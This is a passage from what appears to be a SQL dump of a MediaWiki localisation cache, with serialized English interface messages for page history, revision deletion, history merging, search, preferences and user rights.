account\";'),('en','messages:cantcreateaccount-text','s:118:\"Account creation from this IP address (\'\'\'$1\'\'\') has been blocked by [[User:$3|$3]].\n\nThe reason given by $3 is \'\'$2\'\'\";'),('en','messages:cantcreateaccount-nonblock-text','s:0:\"\";'),('en','messages:viewpagelogs','s:23:\"View logs for this page\";'),('en','messages:nohistory','s:39:\"There is no edit history for this page.\";'),('en','messages:currentrev','s:15:\"Latest revision\";'),('en','messages:currentrev-asof','s:24:\"Latest revision as of $1\";'),('en','messages:revisionasof','s:17:\"Revision as of $1\";'),('en','messages:revision-info','s:23:\"Revision as of $1 by $2\";'),('en','messages:revision-info-current','s:1:\"-\";'),('en','messages:revision-nav','s:65:\"($1) $2{{int:pipe-separator}}$3 ($4){{int:pipe-separator}}$5 ($6)\";'),('en','messages:previousrevision','s:18:\"← Older revision\";'),('en','messages:nextrevision','s:18:\"Newer revision →\";'),('en','messages:currentrevisionlink','s:15:\"Latest revision\";'),('en','messages:cur','s:3:\"cur\";'),('en','messages:next','s:4:\"next\";'),('en','messages:last','s:4:\"prev\";'),('en','messages:page_first','s:5:\"first\";'),('en','messages:page_last','s:4:\"last\";'),('en','messages:histlegend','s:279:\"Diff selection: mark the radio boxes of the revisions to compare and hit enter or the button at the bottom.<br />\nLegend: \'\'\'({{int:cur}})\'\'\' = difference with latest revision, \'\'\'({{int:last}})\'\'\' = difference with preceding revision, \'\'\'{{int:minoreditletter}}\'\'\' = minor edit.\";'),('en','messages:history-fieldset-title','s:14:\"Browse history\";'),('en','messages:history-show-deleted','s:12:\"Deleted only\";'),('en','messages:history_copyright','s:1:\"-\";'),('en','messages:histfirst','s:8:\"Earliest\";'),('en','messages:histlast','s:6:\"Latest\";'),('en','messages:historysize','s:31:\"({{PLURAL:$1|1 byte|$1 bytes}})\";'),('en','messages:historyempty','s:7:\"(empty)\";'),('en','messages:history-feed-title','s:16:\"Revision history\";'),('en','messages:history-feed-description','s:42:\"Revision history for this page on the wiki\";'),('en','messages:history-feed-item-nocomment','s:8:\"$1 at $2\";'),('en','messages:history-feed-empty','s:155:\"The requested page does not exist.\nIt may have been deleted from the wiki, or renamed.\nTry [[Special:Search|searching on the wiki]] for relevant new pages.\";'),('en','messages:rev-deleted-comment','s:17:\"(comment removed)\";'),('en','messages:rev-deleted-user','s:18:\"(username removed)\";'),('en','messages:rev-deleted-event','s:20:\"(log action removed)\";'),('en','messages:rev-deleted-user-contribs','s:65:\"[username or IP address removed - edit hidden from contributions]\";'),('en','messages:rev-deleted-text-permission','s:145:\"This page revision has been \'\'\'deleted\'\'\'.\nDetails can be found in the [{{fullurl:{{#Special:Log}}/delete|page={{FULLPAGENAMEE}}}} deletion log].\";'),('en','messages:rev-deleted-text-unhide','s:227:\"This page revision has been \'\'\'deleted\'\'\'.\nDetails can be found in the [{{fullurl:{{#Special:Log}}/delete|page={{FULLPAGENAMEE}}}} deletion log].\nAs an administrator you can still [$1 view this revision] if you wish to proceed.\";'),('en','messages:rev-suppressed-text-unhide','s:235:\"This page revision has been \'\'\'suppressed\'\'\'.\nDetails can be found in the [{{fullurl:{{#Special:Log}}/suppress|page={{FULLPAGENAMEE}}}} suppression log].\nAs an administrator you can still [$1 view this revision] if you wish to proceed.\";'),('en','messages:rev-deleted-text-view','s:182:\"This page revision has been \'\'\'deleted\'\'\'.\nAs an administrator you can view it; details can be found in the [{{fullurl:{{#Special:Log}}/delete|page={{FULLPAGENAMEE}}}} deletion log].\";'),('en','messages:rev-suppressed-text-view','s:190:\"This page revision has been \'\'\'suppressed\'\'\'.\nAs an administrator you can view it; details can be found in the [{{fullurl:{{#Special:Log}}/suppress|page={{FULLPAGENAMEE}}}} suppression log].\";'),('en','messages:rev-deleted-no-diff','s:181:\"You cannot view this diff because one of the revisions has been \'\'\'deleted\'\'\'.\nDetails can be found in the [{{fullurl:{{#Special:Log}}/delete|page={{FULLPAGENAMEE}}}} deletion log].\";'),('en','messages:rev-suppressed-no-diff','s:78:\"You cannot view this diff because one of the revisions has been \'\'\'deleted\'\'\'.\";'),('en','messages:rev-deleted-unhide-diff','s:238:\"One of the revisions of this diff has been \'\'\'deleted\'\'\'.\nDetails can be found in the [{{fullurl:{{#Special:Log}}/delete|page={{FULLPAGENAMEE}}}} deletion log].\nAs an administrator you can still [$1 view this diff] if you wish to proceed.\";'),('en','messages:rev-suppressed-unhide-diff','s:246:\"One of the revisions of this diff has been \'\'\'suppressed\'\'\'.\nDetails can be found in the [{{fullurl:{{#Special:Log}}/suppress|page={{FULLPAGENAMEE}}}} suppression log].\nAs an administrator you can still [$1 view this diff] if you wish to proceed.\";'),('en','messages:rev-deleted-diff-view','s:204:\"One of the revisions of this diff has been \'\'\'deleted\'\'\'.\nAs an administrator you can view this diff; details can be found in the [{{fullurl:{{#Special:Log}}/delete|page={{FULLPAGENAMEE}}}} deletion log].\";'),('en','messages:rev-suppressed-diff-view','s:212:\"One of the revisions of this diff has been \'\'\'suppressed\'\'\'.\nAs an administrator you can view this diff; details can be found in the [{{fullurl:{{#Special:Log}}/suppress|page={{FULLPAGENAMEE}}}} suppression log].\";'),('en','messages:rev-delundel','s:9:\"show/hide\";'),('en','messages:rev-showdeleted','s:4:\"show\";'),('en','messages:revisiondelete','s:25:\"Delete/undelete revisions\";'),('en','messages:revdelete-nooldid-title','s:23:\"Invalid target revision\";'),('en','messages:revdelete-nooldid-text','s:167:\"You have either not specified a target revision(s) to perform this\nfunction, the specified revision does not exist, or you are attempting to hide the current revision.\";'),('en','messages:revdelete-nologtype-title','s:17:\"No log type given\";'),('en','messages:revdelete-nologtype-text','s:60:\"You have not specified a log type to perform this action on.\";'),('en','messages:revdelete-nologid-title','s:17:\"Invalid log entry\";'),('en','messages:revdelete-nologid-text','s:112:\"You have either not specified a target log event to perform this function or the specified entry does not exist.\";'),('en','messages:revdelete-no-file','s:34:\"The file specified does not exist.\";'),('en','messages:revdelete-show-file-confirm','s:97:\"Are you sure you want to view a deleted revision of the file \"<nowiki>$1</nowiki>\" from $2 at $3?\";'),('en','messages:revdelete-show-file-submit','s:3:\"Yes\";'),('en','messages:revdelete-selected','s:68:\"\'\'\'{{PLURAL:$2|Selected revision|Selected revisions}} of [[:$1]]:\'\'\'\";'),('en','messages:logdelete-selected','s:59:\"\'\'\'{{PLURAL:$1|Selected log event|Selected log events}}:\'\'\'\";'),('en','messages:revdelete-text','s:325:\"\'\'\'Deleted revisions and events will still appear in the page history and logs, but parts of their content will be inaccessible to the public.\'\'\'\nOther administrators on {{SITENAME}} will still be able to access the hidden content and can undelete it again through this same interface, unless additional restrictions are set.\";'),('en','messages:revdelete-confirm','s:168:\"Please confirm that you intend to do this, that you understand the consequences, and that you are doing this in accordance with [[{{MediaWiki:Policy-url}}|the policy]].\";'),('en','messages:revdelete-suppress-text','s:209:\"Suppression should \'\'\'only\'\'\' be used for the following cases:\n* Potentially libelous information\n* Inappropriate personal information\n*: \'\'home addresses and telephone numbers, social security numbers, etc.\'\'\";'),('en','messages:revdelete-legend','s:27:\"Set visibility restrictions\";'),('en','messages:revdelete-hide-text','s:18:\"Hide revision text\";'),('en','messages:revdelete-hide-image','s:17:\"Hide file content\";'),('en','messages:revdelete-hide-name','s:22:\"Hide action and target\";'),('en','messages:revdelete-hide-comment','s:17:\"Hide edit summary\";'),('en','messages:revdelete-hide-user','s:33:\"Hide editor\'s username/IP address\";'),('en','messages:revdelete-hide-restricted','s:51:\"Suppress data from administrators as well as others\";'),('en','messages:revdelete-radio-same','s:15:\"(do not change)\";'),('en','messages:revdelete-radio-set','s:3:\"Yes\";'),('en','messages:revdelete-radio-unset','s:2:\"No\";'),('en','messages:revdelete-suppress','s:51:\"Suppress data from administrators as well as others\";'),('en','messages:revdelete-unsuppress','s:41:\"Remove restrictions on restored revisions\";'),('en','messages:revdelete-log','s:7:\"Reason:\";'),('en','messages:revdelete-submit','s:50:\"Apply to selected {{PLURAL:$1|revision|revisions}}\";'),('en','messages:revdelete-logentry','s:39:\"changed revision visibility of \"[[$1]]\"\";'),('en','messages:logdelete-logentry','s:36:\"changed event visibility of \"[[$1]]\"\";'),('en','messages:revdelete-success','s:47:\"\'\'\'Revision visibility successfully updated.\'\'\'\";'),('en','messages:revdelete-failure','s:50:\"\'\'\'Revision visibility could not be updated:\'\'\'\n$1\";'),('en','messages:logdelete-success','s:38:\"\'\'\'Log visibility successfully set.\'\'\'\";'),('en','messages:logdelete-failure','s:41:\"\'\'\'Log visibility could not be set:\'\'\'\n$1\";'),('en','messages:revdel-restore','s:17:\"change visibility\";'),('en','messages:pagehist','s:12:\"Page history\";'),('en','messages:deletedhist','s:15:\"Deleted history\";'),('en','messages:revdelete-content','s:7:\"content\";'),('en','messages:revdelete-summary','s:12:\"edit summary\";'),('en','messages:revdelete-uname','s:8:\"username\";'),('en','messages:revdelete-restricted','s:38:\"applied restrictions to administrators\";'),('en','messages:revdelete-unrestricted','s:39:\"removed restrictions for administrators\";'),('en','messages:revdelete-hid','s:6:\"hid $1\";'),('en','messages:revdelete-unhid','s:8:\"unhid $1\";'),('en','messages:revdelete-log-message','s:42:\"$1 for $2 {{PLURAL:$2|revision|revisions}}\";'),('en','messages:logdelete-log-message','s:36:\"$1 for $2 {{PLURAL:$2|event|events}}\";'),('en','messages:revdelete-hide-current','s:86:\"Error hiding the item dated $2, $1: this is the current revision.\nIt cannot be hidden.\";'),('en','messages:revdelete-show-no-access','s:106:\"Error showing the item dated $2, $1: this item has been marked \"restricted\".\nYou do not have access to it.\";'),('en','messages:revdelete-modify-no-access','s:108:\"Error modifying the item dated $2, $1: this item has been marked \"restricted\".\nYou do not have access to it.\";'),('en','messages:revdelete-modify-missing','s:60:\"Error modifying item ID $1: it is missing from the database!\";'),('en','messages:revdelete-no-change','s:83:\"\'\'\'Warning:\'\'\' the item dated $2, $1 already had the requested visibility settings.\";'),('en','messages:revdelete-concurrent-change','s:151:\"Error modifying the item dated $2, $1: its status appears to have been changed by someone else while you attempted to modify it.\nPlease check the logs.\";'),('en','messages:revdelete-only-restricted','s:149:\"Error hiding the item dated $2, $1: you cannot suppress items from view by administrators without also selecting one of the other visibility options.\";'),('en','messages:revdelete-reason-dropdown','s:119:\"*Common delete reasons\n** Copyright violation\n** Inappropriate personal information\n** Potentially libelous information\";'),('en','messages:revdelete-otherreason','s:24:\"Other/additional reason:\";'),('en','messages:revdelete-reasonotherlist','s:12:\"Other reason\";'),('en','messages:revdelete-edit-reasonlist','s:19:\"Edit delete reasons\";'),('en','messages:revdelete-offender','s:16:\"Revision author:\";'),('en','messages:suppressionlog','s:15:\"Suppression log\";'),('en','messages:suppressionlogtext','s:186:\"Below is a list of deletions and blocks involving content hidden from administrators.\nSee the [[Special:IPBlockList|IP block list]] for the list of currently operational bans and blocks.\";'),('en','messages:mergehistory','s:20:\"Merge page histories\";'),('en','messages:mergehistory-header','s:156:\"This page lets you merge revisions of the history of one source page into a newer page.\nMake sure that this change will maintain historical page continuity.\";'),('en','messages:mergehistory-box','s:29:\"Merge revisions of two pages:\";'),('en','messages:mergehistory-from','s:12:\"Source page:\";'),('en','messages:mergehistory-into','s:17:\"Destination page:\";'),('en','messages:mergehistory-list','s:22:\"Mergeable edit history\";'),('en','messages:mergehistory-merge','s:224:\"The following revisions of [[:$1]] can be merged into [[:$2]].\nUse the radio button column to merge in only the revisions created at and before the specified time.\nNote that using the navigation links will reset this column.\";'),('en','messages:mergehistory-go','s:20:\"Show mergeable edits\";'),('en','messages:mergehistory-submit','s:15:\"Merge revisions\";'),('en','messages:mergehistory-empty','s:27:\"No revisions can be merged.\";'),('en','messages:mergehistory-success','s:80:\"$3 {{PLURAL:$3|revision|revisions}} of [[:$1]] successfully merged into [[:$2]].\";'),('en','messages:mergehistory-fail','s:77:\"Unable to perform history merge, please recheck the page and time parameters.\";'),('en','messages:mergehistory-no-source','s:30:\"Source page $1 does not exist.\";'),('en','messages:mergehistory-no-destination','s:35:\"Destination page $1 does not exist.\";'),('en','messages:mergehistory-invalid-source','s:34:\"Source page must be a valid title.\";'),('en','messages:mergehistory-invalid-destination','s:39:\"Destination page must be a valid title.\";'),('en','messages:mergehistory-autocomment','s:27:\"Merged [[:$1]] into [[:$2]]\";'),('en','messages:mergehistory-comment','s:31:\"Merged [[:$1]] into [[:$2]]: $3\";'),('en','messages:mergehistory-same-destination','s:47:\"Source and destination pages cannot be the same\";'),('en','messages:mergehistory-reason','s:7:\"Reason:\";'),('en','messages:mergelog','s:9:\"Merge log\";'),('en','messages:pagemerge-logentry','s:46:\"merged [[$1]] into [[$2]] (revisions up to $3)\";'),('en','messages:revertmerge','s:7:\"Unmerge\";'),('en','messages:mergelogpagetext','s:75:\"Below is a list of the most recent merges of one page history into another.\";'),('en','messages:history-title','s:24:\"Revision history of \"$1\"\";'),('en','messages:difference','s:30:\"(Difference between revisions)\";'),('en','messages:lineno','s:8:\"Line $1:\";'),('en','messages:compareselectedversions','s:26:\"Compare selected revisions\";'),('en','messages:showhideselectedversions','s:28:\"Show/hide selected revisions\";'),('en','messages:editundo','s:4:\"undo\";'),('en','messages:diff-multi','s:77:\"({{PLURAL:$1|One intermediate revision|$1 intermediate revisions}} not shown)\";'),('en','messages:search-summary','s:0:\"\";'),('en','messages:searchresults','s:14:\"Search results\";'),('en','messages:searchresults-title','s:23:\"Search results for \"$1\"\";'),('en','messages:searchresulttext','s:95:\"For more information about searching {{SITENAME}}, see [[{{MediaWiki:Helppage}}|{{int:help}}]].\";'),('en','messages:searchsubtitle','s:166:\"You searched for \'\'\'[[:$1]]\'\'\' ([[Special:Prefixindex/$1|all pages starting with \"$1\"]]{{int:pipe-separator}}[[Special:WhatLinksHere/$1|all pages that link to \"$1\"]])\";'),('en','messages:searchsubtitleinvalid','s:25:\"You searched for \'\'\'$1\'\'\'\";'),('en','messages:toomanymatches','s:60:\"Too many matches were returned, please try a different query\";'),('en','messages:titlematches','s:18:\"Page title matches\";'),('en','messages:notitlematches','s:21:\"No page title matches\";'),('en','messages:textmatches','s:17:\"Page text matches\";'),('en','messages:notextmatches','s:20:\"No page text matches\";'),('en','messages:prevn','s:25:\"previous {{PLURAL:$1|$1}}\";'),('en','messages:nextn','s:21:\"next {{PLURAL:$1|$1}}\";'),('en','messages:prevn-title','s:40:\"Previous $1 {{PLURAL:$1|result|results}}\";'),('en','messages:nextn-title','s:36:\"Next $1 {{PLURAL:$1|result|results}}\";'),('en','messages:shown-title','s:45:\"Show $1 {{PLURAL:$1|result|results}} per page\";'),('en','messages:viewprevnext','s:40:\"View ($1 {{int:pipe-separator}} $2) ($3)\";'),('en','messages:searchmenu-legend','s:14:\"Search options\";'),('en','messages:searchmenu-exists','s:50:\"\'\'\'There is a page named \"[[:$1]]\" on this wiki\'\'\'\";'),('en','messages:searchmenu-new','s:45:\"\'\'\'Create the page \"[[:$1]]\" on this wiki!\'\'\'\";'),('en','messages:searchhelp-url','s:13:\"Help:Contents\";'),('en','messages:searchmenu-prefix','s:56:\"[[Special:PrefixIndex/$1|Browse pages with this prefix]]\";'),('en','messages:searchmenu-help','s:46:\"[[{{MediaWiki:Searchhelp-url}}|{{int:help}}]]?\";'),('en','messages:searchprofile-articles','s:13:\"Content pages\";'),('en','messages:searchprofile-project','s:22:\"Help and Project pages\";'),('en','messages:searchprofile-images','s:10:\"Multimedia\";'),('en','messages:searchprofile-everything','s:10:\"Everything\";'),('en','messages:searchprofile-advanced','s:8:\"Advanced\";'),('en','messages:searchprofile-articles-tooltip','s:12:\"Search in $1\";'),('en','messages:searchprofile-project-tooltip','s:12:\"Search in $1\";'),('en','messages:searchprofile-images-tooltip','s:16:\"Search for files\";'),('en','messages:searchprofile-everything-tooltip','s:44:\"Search all of content (including talk pages)\";'),('en','messages:searchprofile-advanced-tooltip','s:27:\"Search in custom namespaces\";'),('en','messages:search-result-size','s:34:\"$1 ({{PLURAL:$2|1 word|$2 words}})\";'),('en','messages:search-result-score','s:14:\"Relevance: $1%\";'),('en','messages:search-redirect','s:13:\"(redirect $1)\";'),('en','messages:search-section','s:12:\"(section $1)\";'),('en','messages:search-suggest','s:16:\"Did you mean: $1\";'),('en','messages:search-interwiki-caption','s:15:\"Sister projects\";'),('en','messages:search-interwiki-default','s:11:\"$1 results:\";'),('en','messages:search-interwiki-custom','s:0:\"\";'),('en','messages:search-interwiki-more','s:6:\"(more)\";'),('en','messages:search-mwsuggest-enabled','s:16:\"with suggestions\";'),('en','messages:search-mwsuggest-disabled','s:14:\"no suggestions\";'),('en','messages:search-relatedarticle','s:7:\"Related\";'),('en','messages:mwsuggest-disable','s:24:\"Disable AJAX suggestions\";'),('en','messages:searcheverything-enable','s:24:\"Search in all namespaces\";'),('en','messages:searchrelated','s:7:\"related\";'),('en','messages:searchall','s:3:\"all\";'),('en','messages:showingresults','s:90:\"Showing below up to {{PLURAL:$1|\'\'\'1\'\'\' result|\'\'\'$1\'\'\' results}} starting with #\'\'\'$2\'\'\'.\";'),('en','messages:showingresultsnum','s:84:\"Showing below {{PLURAL:$3|\'\'\'1\'\'\' result|\'\'\'$3\'\'\' results}} starting with #\'\'\'$2\'\'\'.\";'),('en','messages:showingresultsheader','s:88:\"{{PLURAL:$5|Result \'\'\'$1\'\'\' of \'\'\'$3\'\'\'|Results \'\'\'$1 - $2\'\'\' of \'\'\'$3\'\'\'}} for \'\'\'$4\'\'\'\";'),('en','messages:nonefound','s:198:\"\'\'\'Note\'\'\': Only some namespaces are searched by default.\nTry prefixing your query with \'\'all:\'\' to search all content (including talk pages, templates, etc), or use the desired namespace as prefix.\";'),('en','messages:search-nonefound','s:41:\"There were no results matching the query.\";'),('en','messages:powersearch','s:15:\"Advanced search\";'),('en','messages:powersearch-legend','s:15:\"Advanced search\";'),('en','messages:powersearch-ns','s:21:\"Search in namespaces:\";'),('en','messages:powersearch-redir','s:14:\"List redirects\";'),('en','messages:powersearch-field','s:10:\"Search for\";'),('en','messages:powersearch-togglelabel','s:6:\"Check:\";'),('en','messages:powersearch-toggleall','s:3:\"All\";'),('en','messages:powersearch-togglenone','s:4:\"None\";'),('en','messages:search-external','s:15:\"External search\";'),('en','messages:searchdisabled','s:143:\"{{SITENAME}} search is disabled.\nYou can search via Google in the meantime.\nNote that their indexes of {{SITENAME}} content may be out of date.\";'),('en','messages:googlesearch','s:659:\"<form method=\"get\" action=\"http://www.google.com/search\" id=\"googlesearch\">\n    <input type=\"hidden\" name=\"domains\" value=\"{{SERVER}}\" />\n    <input type=\"hidden\" name=\"num\" value=\"50\" />\n    <input type=\"hidden\" name=\"ie\" value=\"$2\" />\n    <input type=\"hidden\" name=\"oe\" value=\"$2\" />\n\n    <input type=\"text\" name=\"q\" size=\"31\" maxlength=\"255\" value=\"$1\" />\n    <input type=\"submit\" name=\"btnG\" value=\"$3\" />\n  <div>\n    <input type=\"radio\" name=\"sitesearch\" id=\"gwiki\" value=\"{{SERVER}}\" checked=\"checked\" /><label for=\"gwiki\">{{SITENAME}}</label>\n    <input type=\"radio\" name=\"sitesearch\" id=\"gWWW\" value=\"\" /><label for=\"gWWW\">WWW</label>\n  </div>\n</form>\";'),('en','messages:opensearch-desc','s:34:\"{{SITENAME}} ({{CONTENTLANGUAGE}})\";'),('en','messages:qbsettings','s:8:\"Quickbar\";'),('en','messages:qbsettings-none','s:4:\"None\";'),('en','messages:qbsettings-fixedleft','s:10:\"Fixed left\";'),('en','messages:qbsettings-fixedright','s:11:\"Fixed right\";'),('en','messages:qbsettings-floatingleft','s:13:\"Floating left\";'),('en','messages:qbsettings-floatingright','s:14:\"Floating right\";'),('en','messages:preferences','s:11:\"Preferences\";'),('en','messages:preferences-summary','s:0:\"\";'),('en','messages:mypreferences','s:14:\"My preferences\";'),('en','messages:prefs-edits','s:16:\"Number of edits:\";'),('en','messages:prefsnologin','s:13:\"Not logged in\";'),('en','messages:prefsnologintext','s:127:\"You must be <span class=\"plainlinks\">[{{fullurl:{{#Special:UserLogin}}|returnto=$1}} logged in]</span> to set user preferences.\";'),('en','messages:changepassword','s:15:\"Change password\";'),('en','messages:prefs-skin','s:4:\"Skin\";'),('en','messages:skin-preview','s:7:\"Preview\";'),('en','messages:prefs-math','s:4:\"Math\";'),('en','messages:datedefault','s:13:\"No preference\";'),('en','messages:prefs-datetime','s:13:\"Date and time\";'),('en','messages:prefs-personal','s:12:\"User profile\";'),('en','messages:prefs-rc','s:14:\"Recent changes\";'),('en','messages:prefs-watchlist','s:9:\"Watchlist\";'),('en','messages:prefs-watchlist-days','s:26:\"Days to show in watchlist:\";'),('en','messages:prefs-watchlist-days-max','s:14:\"Maximum 7 days\";'),('en','messages:prefs-watchlist-edits','s:56:\"Maximum number of changes to show in expanded watchlist:\";'),('en','messages:prefs-watchlist-edits-max','s:20:\"Maximum number: 1000\";'),('en','messages:prefs-watchlist-token','s:16:\"Watchlist token:\";'),('en','messages:prefs-misc','s:4:\"Misc\";'),('en','messages:prefs-resetpass','s:15:\"Change password\";'),('en','messages:prefs-email','s:14:\"E-mail options\";'),('en','messages:prefs-rendering','s:10:\"Appearance\";'),('en','messages:saveprefs','s:4:\"Save\";'),('en','messages:resetprefs','s:21:\"Clear unsaved changes\";'),('en','messages:restoreprefs','s:28:\"Restore all default settings\";'),('en','messages:prefs-editing','s:7:\"Editing\";'),('en','messages:prefs-edit-boxsize','s:24:\"Size of the edit window.\";'),('en','messages:rows','s:5:\"Rows:\";'),('en','messages:columns','s:8:\"Columns:\";'),('en','messages:searchresultshead','s:6:\"Search\";'),('en','messages:resultsperpage','s:14:\"Hits per page:\";'),('en','messages:contextlines','s:14:\"Lines per hit:\";'),('en','messages:contextchars','s:17:\"Context per line:\";'),('en','messages:stub-threshold','s:72:\"Threshold for <a href=\"#\" class=\"stub\">stub link</a> formatting (bytes):\";'),('en','messages:recentchangesdays','s:31:\"Days to show in recent changes:\";'),('en','messages:recentchangesdays-max','s:33:\"Maximum $1 {{PLURAL:$1|day|days}}\";'),('en','messages:recentchangescount','s:35:\"Number of edits to show by default:\";'),('en','messages:prefs-help-recentchangescount','s:55:\"This includes recent changes, page histories, and logs.\";'),('en','messages:prefs-help-watchlist-token','s:237:\"Filling in this field with a secret key will generate an RSS feed for your watchlist.\nAnyone who knows the key in this field will be able to read your watchlist, so choose a secure value.\nHere\'s a randomly-generated value you can use: $1\";'),('en','messages:savedprefs','s:33:\"Your preferences have been saved.\";'),('en','messages:timezonelegend','s:10:\"Time zone:\";'),('en','messages:localtime','s:11:\"Local time:\";'),('en','messages:timezoneuseserverdefault','s:18:\"Use server default\";'),('en','messages:timezoneuseoffset','s:22:\"Other (specify offset)\";'),('en','messages:timezoneoffset','s:9:\"Offset¹:\";'),('en','messages:servertime','s:12:\"Server time:\";'),('en','messages:guesstimezone','s:20:\"Fill in from browser\";'),('en','messages:timezoneregion-africa','s:6:\"Africa\";'),('en','messages:timezoneregion-america','s:7:\"America\";'),('en','messages:timezoneregion-antarctica','s:10:\"Antarctica\";'),('en','messages:timezoneregion-arctic','s:6:\"Arctic\";'),('en','messages:timezoneregion-asia','s:4:\"Asia\";'),('en','messages:timezoneregion-atlantic','s:14:\"Atlantic Ocean\";'),('en','messages:timezoneregion-australia','s:9:\"Australia\";'),('en','messages:timezoneregion-europe','s:6:\"Europe\";'),('en','messages:timezoneregion-indian','s:12:\"Indian Ocean\";'),('en','messages:timezoneregion-pacific','s:13:\"Pacific Ocean\";'),('en','messages:allowemail','s:30:\"Enable e-mail from other users\";'),('en','messages:prefs-searchoptions','s:14:\"Search options\";'),('en','messages:prefs-namespaces','s:10:\"Namespaces\";'),('en','messages:defaultns','s:37:\"Otherwise search in these namespaces:\";'),('en','messages:default','s:7:\"default\";'),('en','messages:prefs-files','s:5:\"Files\";'),('en','messages:prefs-custom-css','s:10:\"Custom CSS\";'),('en','messages:prefs-custom-js','s:17:\"Custom JavaScript\";'),('en','messages:prefs-reset-intro','s:92:\"You can use this page to reset your preferences to the site defaults.\nThis cannot be undone.\";'),('en','messages:prefs-emailconfirm-label','s:20:\"E-mail confirmation:\";'),('en','messages:prefs-textboxsize','s:22:\"Size of editing window\";'),('en','messages:youremail','s:7:\"E-mail:\";'),('en','messages:username','s:9:\"Username:\";'),('en','messages:uid','s:8:\"User ID:\";'),('en','messages:prefs-memberingroups','s:37:\"Member of {{PLURAL:$1|group|groups}}:\";'),('en','messages:prefs-memberingroups-type','s:2:\"$1\";'),('en','messages:prefs-registration','s:18:\"Registration time:\";'),('en','messages:prefs-registration-date-time','s:2:\"$1\";'),('en','messages:yourrealname','s:10:\"Real name:\";'),('en','messages:yourlanguage','s:9:\"Language:\";'),('en','messages:yourvariant','s:8:\"Variant:\";'),('en','messages:yournick','s:14:\"New signature:\";'),('en','messages:prefs-help-signature','s:129:\"Comments on talk pages should be signed with \"<nowiki>~~~~</nowiki>\" which will be converted into your signature and a timestamp.\";'),('en','messages:badsig','s:39:\"Invalid raw signature.\nCheck HTML tags.\";'),('en','messages:badsiglength','s:96:\"Your signature is too long.\nIt must not be more than $1 {{PLURAL:$1|character|characters}} long.\";'),('en','messages:yourgender','s:7:\"Gender:\";'),('en','messages:gender-unknown','s:11:\"Unspecified\";'),('en','messages:gender-male','s:4:\"Male\";'),('en','messages:gender-female','s:6:\"Female\";'),('en','messages:prefs-help-gender','s:94:\"Optional: used for gender-correct addressing by the software.\nThis information will be public.\";'),('en','messages:email','s:6:\"E-mail\";'),('en','messages:prefs-help-realname','s:111:\"Real name is optional.\nIf you choose to provide it, this will be used for giving you attribution for your work.\";'),('en','messages:prefs-help-email','s:213:\"E-mail address is optional, but is needed for password resets, should you forget your password.\nYou can also choose to let others contact you through your user or talk page without needing to reveal your identity.\";'),('en','messages:prefs-help-email-required','s:27:\"E-mail address is required.\";'),('en','messages:prefs-info','s:17:\"Basic information\";'),('en','messages:prefs-i18n','s:20:\"Internationalisation\";'),('en','messages:prefs-signature','s:9:\"Signature\";'),('en','messages:prefs-dateformat','s:11:\"Date format\";'),('en','messages:prefs-timeoffset','s:11:\"Time offset\";'),('en','messages:prefs-advancedediting','s:16:\"Advanced options\";'),('en','messages:prefs-advancedrc','s:16:\"Advanced options\";'),('en','messages:prefs-advancedrendering','s:16:\"Advanced options\";'),('en','messages:prefs-advancedsearchoptions','s:16:\"Advanced options\";'),('en','messages:prefs-advancedwatchlist','s:16:\"Advanced options\";'),('en','messages:prefs-display','s:15:\"Display options\";'),('en','messages:prefs-diffs','s:5:\"Diffs\";'),('en','messages:userrights','s:22:\"User rights management\";'),('en','messages:userrights-summary','s:0:\"\";'),('en','messages:userrights-lookup-user','s:18:\"Manage user groups\";'),('en','messages:userrights-user-editname','s:17:\"Enter a username:\";'),('en','messages:editusergroup','s:16:\"Edit user groups\";'),('en','messages:editinguser','s:164:\"Changing user rights of user \'\'\'[[User:$1|$1]]\'\'\' ([[User talk:$1|{{int:talkpagelinktext}}]]{{int:pipe-separator}}[[Special:Contributions/$1|{{int:contribslink}}]])\";'),('en','messages:userrights-editusergroup','s:16:\"Edit user groups\";'),('en','messages:saveusergroups','s:16:\"Save user groups\";'),('en','messages:userrights-groupsmember','s:10:\"Member of:\";'),('en','messages:userrights-groupsmember-auto','s:19:\"Implicit member of:\";'),('en','messages:userrights-groups-help','s:234:\"You may alter the groups this user is in:\n* A checked box means the user is in that group.\n* An unchecked box means the user is not in that group.\n* A * indicates that you cannot remove the group once you have added it, or vice versa.\";'),('en','messages:userrights-reason','s:7:\"Reason:\";'),('en','messages:userrights-no-interwiki','s:62:\"You do not have permission to edit user rights on other wikis.\";'),('en','messages:userrights-nodatabase','s:43:\"Database $1 does not exist or is not local.\";'),('en','messages:userrights-nologin','s:90:\"You must [[Special:UserLogin|log in]] with an administrator account to assign user rights.\";'),('en','messages:userrights-notallowed','s:60:\"Your account does not have permission to assign user rights.\";'),('en','messages:userrights-changeable-col','s:21:\"Groups you can change\";'),('en','messages:userrights-unchangeable-col','s:24:\"Groups you cannot change\";'),('en','messages:userrights-irreversible-marker','s:3:\"$1*\";'),('en','messages:group','s:6:\"Group:\";'),('en','messages:group-user','s:5:\"Users\";'),('en','messages:group-autoconfirmed','s:19:\"Autoconfirmed users\";'),('en','messages:group-bot','s:4:\"Bots\";'),('en','messages:group-sysop','s:14:\"Administrators\";'),('en','messages:group-bureaucrat','s:11:\"Bureaucrats\";'),('en','messages:group-suppress','s:10:\"Oversights\";'),('en','messages:group-all','s:5:\"(all)\";'),('en','messages:group-user-member','s:4:\"user\";'),('en','messages:group-autoconfirmed-member','s:18:\"autoconfirmed user\";'),('en','messages:group-bot-member','s:3:\"bot\";'),('en','messages:group-sysop-member','s:13:\"administrator\";'),('en','messages:group-bureaucrat-member','s:10:\"bureaucrat\";'),('en','messages:group-suppress-member','s:9:\"oversight\";'),('en','messages:grouppage-user','s:20:\"{{ns:project}}:Users\";'),('en','messages:grouppage-autoconfirmed','s:34:\"{{ns:project}}:Autoconfirmed users\";'),('en','messages:grouppage-bot','s:19:\"{{ns:project}}:Bots\";'),('en','messages:grouppage-sysop','s:29:\"{{ns:project}}:Administrators\";'),('en','messages:grouppage-bureaucrat','s:26:\"{{ns:project}}:Bureaucrats\";'),('en','messages:grouppage-suppress','s:24:\"{{ns:project}}:Oversight\";'),('en','messages:right-read','s:10:\"Read pages\";'),('en','messages:right-edit','s:10:\"Edit pages\";'),('en','messages:right-createpage','s:45:\"Create pages (which are not discussion pages)\";'),('en','messages:right-createtalk','s:23:\"Create discussion pages\";'),('en','messages:right-createaccount','s:24:\"Create new user accounts\";'),('en','messages:right-minoredit','s:19:\"Mark edits as minor\";'),('en','messages:right-move','s:10:\"Move pages\";'),('en','messages:right-move-subpages','s:30:\"Move pages with their subpages\";'),('en','messages:right-move-rootuserpages','s:20:\"Move root user 